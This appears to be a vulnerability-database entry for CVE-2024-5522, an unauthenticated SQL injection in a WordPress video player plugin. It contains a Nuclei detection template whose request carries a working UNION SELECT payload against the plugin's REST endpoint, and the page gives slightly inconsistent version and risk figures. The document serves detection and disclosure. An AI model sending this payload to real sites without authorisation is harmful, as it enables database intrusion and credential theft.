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WordPress HTML5 Video Player < 2.5.27 - SQL Injection

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
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WordPress HTML5 Video Player < 2.5.27 - SQL Injection allows unauthenticated users to perform SQL injection attacks. Fixed in 2.5.2

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id: CVE-2024-5522

info:
  name: WordPress HTML5 Video Player < 2.5.27 - SQL Injection
  author: JohnDoeAnonITA
  severity: critical
  description: |
    The HTML5 Video Player WordPress plugin before 2.5.27 does not sanitize and escape a parameter from a REST route before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries to extract sensitive database information including user credentials, configuration data, and potentially execute commands on the database server.
  remediation: |
    Update HTML5 Video Player plugin to version 2.5.27 or later to address the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/bc76ef95-a2a9-4185-8ed9-1059097a506a/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5522
  classification:
    cvss-score: 9.8
    cwe-id: CWE-89
    cve-id: CVE-2024-5522
    epss-score: 0.02639
    epss-percentile: 0.83718
    cpe: cpe:2.3:a:bplugins:html5_video_player:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/html5-video-player"
    product: html5_video_player
    vendor: bplugins
  tags: wpscan,cve,cve2024,wordpress,wp-plugin,wp,sqli,html5-video-player,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/h5vp/v1/video/0?id='+union all select concat(0x64617461626173653a,1,0x7c76657273696f6e3a,2,0x7c757365723a,md5({{num}})),2,3,4,5,6,7,8-- -"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402202def1e0abb092c464a1308255c7ebd1b483c32932af2bc598bfddc284833fb0c02204f5897de41b9662ae77a453ae4f66820a3a6a136ceec12a687caba9bc55bd250:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 3.16.5
EPSS0.02639
SSVC
126